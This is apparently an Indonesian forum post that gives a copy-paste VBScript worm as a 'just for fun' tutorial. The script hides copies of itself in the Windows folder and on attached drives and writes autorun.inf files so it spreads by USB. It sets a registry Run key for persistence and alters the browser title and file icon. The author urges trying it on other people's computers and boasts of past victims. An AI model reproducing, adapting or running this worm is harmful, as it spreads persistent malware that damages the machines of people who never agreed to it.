Bikin Virus Via notepad. (just for Fun)

NE AGAN2 ANE PUNYA ILMU TENAGA DALAM.....

BIKIN VIRUS VIA NOTEPAD YANG GAMPANG AJA ....
LANGSUNG AJA KE TKP....

Nih gw punya tutorial untuk buat sebuah virus yg sedikit berbahaya Via Notepad.
Saya srankan di coba bukan di komputer sendiri.. hahaha . nih tinggal copy paste aja di notepad.

Code:

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname


Save dengan eksistensi .vbs

contoh : RHEON3.vbs

terus coba klik tuh file 2 kali.
dan.......
----------------------------------
GW cabut dulu aaaaaaaaa............

(virus yg gw buat dngn nma ini, sdh bnyk memakan korban komputer. hahahaha. dan telah meributkan di bidang komputer. zzz yg pnting mreka gk tau klo gw yg buat.



SILAHKAN COBA DI COMPI ANDA SENDIRI,,,,
DI JAMIN LANGSUNG LAYAR ITEM BOZZZZZZ...
ALIAS MATI TUH COMPI...
HAHAHAHAHA....

SEEP LAH ......


CREDIT : RHEO N3